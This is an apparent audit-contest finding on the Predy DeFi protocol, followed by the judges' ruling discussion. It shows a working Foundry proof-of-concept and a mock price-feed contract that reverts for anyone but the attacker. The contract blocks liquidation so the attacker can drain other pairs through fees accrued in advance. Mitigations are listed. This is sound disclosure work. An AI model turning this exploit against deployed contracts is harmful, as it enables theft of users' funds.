Registration of a pair with malicious price feed can lead to extraction of funds from other pairs.

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/ApplyInterestLib.sol#L71-L72 https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/logic/AddPairLogic.sol#L181 https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/PositionCalculator.sol#L141-L144

Vulnerability details

The updated requirement allowing anyone to add pairs introduces a potential attack vector.

An attacker can duplicate any existing pair containing liquidity with a new pair that uses a malicious price feed. This price feed, for example, always reverts if called by anyone other than the attacker. This prevents the liquidation of insolvent positions.

While price feed manipulation alone does not benefit the attacker, a flaw in how the creator/protocol revenue is accounted for ahead of time creates an opportunity for exploitation.

If the pair creator sets the fee to the maximum amount of 20%, 10% of that fee is designated for him. The issue within the protocol is that the fee is calculated ahead of time and not during the repayment of the loan.

As a result, the attacker can trade a perpetual contract, for example, valued at 1000 USD. Assuming the IRM parameters are within the protocol's desired values (base rate of 100% and maximum interest rate of 1100%), the position can be made insolvent but non-liquidatable. Over a long period, the attacker can extract value from other pairs.

Even though the attack on the Predy protocol can take up to a year, there is no way to block it, except by asking users to remove liquidity from the protocol.

Impact

Over a long period, funds can be extracted from other pairs.

Proof of Concept

1. A malicious user registers a new pair that duplicates an existing pair containing liquidity, sets its price feed address to one he controls, and sets the fee to 20%.
2. The attacker adds liquidity of 1000 tokens to the new pair.
3. The attacker trades a perpetual contract for 1000 tokens, creating debt for the token he wants to steal from the protocol.
4. He waits for some time and then withdraws all possible supply, which also triggers a fee update on the existing debt.
5. The attacker's position is insolvent but can't be liquidated as the price feed always reverts.
6. The attacker constantly extracts value from the protocol by calling withdrawCreatorRevenue() on the pair he controls.

Note: The liquidation of the insolvent position is not possible because the call to the price feed always reverts.

If the protocol does not react by calling on all users to withdraw their liquidity, the attacker will benefit from effectively printing infinite money with an interest rate of 1100% per year on the amount he traded his perp for, for example, the 1000 USD value.

PoC Tests

This test illustrates how to use extract funds:

Create test/PoC/TestPoCOracleDoS.t.sol and test/mocks/PriceFeedDoSContract.sol, then run forge test --match-test testPoCOracleDoS -vvvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../pool/Setup.t.sol";
import "../mocks/PriceFeedDoSContract.sol";

import "../mocks/TestTradeMarket.sol";

contract TestPoCOracleDoS is TestPool {
    PriceFeedDoSContract _priceFeedDoSContract;
    uint256 pairId;
    address attacker;

    TestTradeMarket tradeMarket;

    function setUp() public override {
        TestPool.setUp();

        pairId = registerPair(address(currency1), address(0), false);

        predyPool.supply(pairId, true, 10000e18);
        predyPool.supply(pairId, false, 10000e18);

        tradeMarket = new TestTradeMarket(predyPool);

        currency1.transfer(address(tradeMarket), 1000e18);

        attacker = vm.addr(5);

        currency0.transfer(address(attacker), 1000e18);
        currency1.transfer(address(attacker), 1000e18);

        vm.startPrank(attacker);
        currency0.approve(address(tradeMarket), 1000e18);

        // create fake price feed
        _priceFeedDoSContract = new PriceFeedDoSContract(predyPool, pairId);
        vm.stopPrank();

        // set max possible IRM params for the pair
        InterestRateModel.IRMParams memory irmParams = InterestRateModel.IRMParams(1e18, 0, 1e18, 10 * 1e18);

        // create pair with 20% fee
        pairId = predyPool.registerPair(
            AddPairLogic.AddPairParams(
                address(currency1),
                address(this),
                address(uniswapPool),
                // set up oracle
                address(_priceFeedDoSContract),
                false,
                20,
                Perp.AssetRiskParams(RISK_RATIO, BASE_MIN_COLLATERAL_WITH_DEBT, 1000, 500, 1005000, 1050000),
                irmParams,
                irmParams
            )
        );

        // lets simulate that attacker is pool owner (in case there is no onlyOperator modifier for registerPair function)
        predyPool.updatePoolOwner(pairId, attacker);

        vm.startPrank(attacker);
        currency1.approve(address(predyPool), type(uint256).max);
        predyPool.supply(pairId, true, 1000e18);
        vm.stopPrank();
    }

    function testPoCOracleDoS() public {
        console.log("Attacker USDC balance before:", currency1.balanceOf(address(attacker)));
        console.log("PredyPool USDC balance before:", currency1.balanceOf(address(predyPool)));

        vm.startPrank(attacker, attacker);
        tradeMarket.trade(
            IPredyPool.TradeParams(2, 0, 1000e18, 0, abi.encode(_getTradeAfterParams(1000e18))),
            _getSettlementData(Constants.Q96)
        );
        vm.stopPrank();

        vm.warp(block.timestamp + 60 days);

        // after some time vault is insolvent
        vm.startPrank(attacker, attacker);
        IPredyPool.VaultStatus memory vaultStatus = _predyPoolQuoter.quoteVaultStatus(1);
        console.log("----------------------------------");
        console.log("Vault value:");
        console.logInt(vaultStatus.vaultValue);
        console.log("Min margin:");
        console.logInt(vaultStatus.minMargin);
        assertLt(vaultStatus.vaultValue, vaultStatus.minMargin);
        assertLt(vaultStatus.vaultValue, 0);
        vm.stopPrank();

        // but cant be liquidated
        vm.expectRevert(abi.encodeWithSelector(PriceFeedDoSContract.CantLiquidate.selector));
        tradeMarket.execLiquidationCall(1, 1e18, _getSettlementData(Constants.Q96 * 9000 / 10000));

        vm.startPrank(attacker);
        predyPool.withdraw(pairId, true, 1400e18);
        vm.stopPrank();

        vm.warp(block.timestamp + 360 days);
        predyPool.supply(pairId, true, 1);

        vm.startPrank(attacker);
        predyPool.withdrawCreatorRevenue(2, true);
        vm.stopPrank();

        // PredyPool USDC balance should not be below 10k, value was extracted from first pair
        console.log("----------------------------------");
        console.log("Attacker USDC balance after:", currency1.balanceOf(address(attacker)));
        console.log("PredyPool USDC balance after:", currency1.balanceOf(address(predyPool)));
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "../../src/PredyPool.sol";

/**
 * @notice A mock attack contract
 */
contract PriceFeedDoSContract {
    PredyPool private _predyPool;
    address private _attacker;
    uint256 private _pairId;

    error CantLiquidate();

    constructor(PredyPool predyPool, uint256 pairId) {
        _attacker = msg.sender;
        _predyPool = predyPool;
        _pairId = pairId;
    }

    function getSqrtPrice() external view returns (uint256 sqrtPrice) {
        if (address(tx.origin) != address(_attacker)) {
            revert CantLiquidate();
        }

        return _predyPool.getSqrtPrice(_pairId) / 100;
    }
}

Recommended Mitigation Steps

1. Protocol and creator revenue should not be accounted for ahead of time; only revenue from repaid debt should be collectible.
2. Validate that the provided price feed address used for the pair is within the allowlisted price feed addresses for the specific pair.

Assessed type

Invalid Validation

[0xklapouchy]

Hi @alex-ppg,

Similar to #593, I assume this "insufficient quality report" was given solely based on the presence of the onlyOperator modifier.

As mentioned here and here, the onlyOperator modifier should not be considered a valid limitation, and anyone will be able to add pairs within a specific token list.

This issue is similar but not a duplicate of #593.

It showcases a situation where two medium-level issues (DoS and by that preventing liquidations through manipulating the price feed, and accounting for fees ahead of time) can be leveraged to create a high-level issue. With this issue, an attacker can definitively take advantage and steal funds from other pairs. While it would require an extended time frame (> 1 year) for the attacker to be profitable, it also demonstrates that this vulnerability cannot be prevented.

The assumption in this issue description is that the low-level issue from #593 is fixed and the IRM parameters are within the desired values, and as such this is different attack vector.

[alex-ppg]

Hey @0xklapouchy, thanks for contributing to the PJQA process! First of all, this represents a validation repository finding and as such was not evaluated by me directly.

I understand that the Sponsor might have changed their mind mid-contest, however, no change was reflected in the repository. As such, I cannot accept issues that rely on assumptions that have not been properly reflected on the contest page. I will surface these findings to the Sponsor in case they might find them useful, however, from a C4 perspective, the submission is ineligible for a reward.

[syuhei176]

It is possible to register a malicious oracle and make settlements impossible. This could indeed affect existing pairs as well. As with other reports, I would like to accept this as a medium risk.

[alex-ppg]

Hey @0xklapouchy and @syuhei176, thank you for continuing the discussion! I understand that the situation is unfortunate, however, I will have to maintain my original ruling as a matter of precedence.

The validators as well as the judge have approached this contest without the additional information in mind, and it is reasonable to assume that Wardens have downloaded the repository / accessed it via the C4 portal without scouring the C4 discussions. I myself have participated in C4 contests without looking at the Discord discussions and it is not reasonable to assume all wardens will have checked Discord.

As a result, any vulnerability arising from the newly shared context will remain out-of-scope in the interest of fairness. I empathize with your disagreement about this ruling @0xklapouchy, and hope you find solace in the fact that the Sponsor found your report useful!